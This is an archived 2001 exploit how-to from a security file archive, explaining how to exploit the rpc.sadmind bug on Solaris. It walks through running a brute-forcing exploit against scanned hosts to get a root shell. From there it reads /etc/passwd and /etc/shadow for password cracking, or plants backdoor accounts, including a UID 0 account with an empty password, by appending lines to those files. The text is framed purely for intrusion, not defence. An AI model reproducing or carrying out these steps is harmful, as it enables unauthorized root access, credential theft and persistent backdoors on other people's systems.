exploit the possibilities

sadmind-howto.txt

sadmind-howto.txt
Posted Nov 22, 2001
Authored by Cyrax | Site members.antionline.com

Explanation of how to exploit the rpc.sadmind bug on Solaris.

tags | exploit
systems | solaris
MD5 | be1ae7f11bc82103d3ad0d2ed147e147

sadmind-howto.txt

Change Mirror Download
rpc.sadmind (27/02/2000)
------------------------

The bug rpc.sadmind has been reported a long time ago. But there has never
been a manual for it. So i decided to explain how to exploit the bug.
First of all i would recommend to use the sadmind brute forcer for the
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the
brute forcer at http://packetstormsecurity.org . Search for sadmind
brute forcer and the file samdind-brute-lux.c will be the first file
you'll see...
You compile the brute forcer in the same directory as the sploit
files.
Run the brute forcer like this :
./sadmind-brute-force <arch> <host>
If you don't know what <arch> is then you do ./sadmind-brute-lux
You'll understand now =)
When you have found a vulnerable host (you can scan for RPC stuff with RPC-
scanners LOL) you do this for example
./sadmind-brute-force 1 www.sadmindvulnhost.com

If you're dropped to a rootshell now, the host is vulnerable for real.
Otherwise, the host is patched.

Now you're dropped to the rootshell you have 2 easy ways to exploit the
rpc.sadmind bug.
The first way, this is kinda lame, is that you view the /etc/passwd
(or the /etc/shadow ofcourse) and then crack the password file with
a password-cracker like John The Ripper --> this can take years !
You view the /etc/passwd like this
cat /etc/passwd;
The ; must be added ! If ya type cat /etc/passwd the server will recognize
this command as
cat /etc/passwd^m

The second way to exploit the bug is a lot faster then the first one.
Here we simply add two users, one with root privileges ofcourse...
This example is for a host with /etc/shadow !
Type this at the rootshell :

echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax:::::: >> /etc/shadow;
echo cyrax2:::::: >> /etc/shadow;

Dont use > instead of >>, >> adds a line, > overwrites !
Replace UID and GID by 666 for example but NOT by 0
After you typed this, there will be added two users to the server :
cyrax and cyrax2
You login with the non-root user, cyrax, and then do su cyrax2
and set the password for the users ...
Now you have root access to the server...

Written by : CyRaX (cyrax@antionline.org)
http://members.antionline.com/cyrax
Special thanks to : nostalg1c
greet[z] : kemX, Cheitan, guppy, |llus|0{\}
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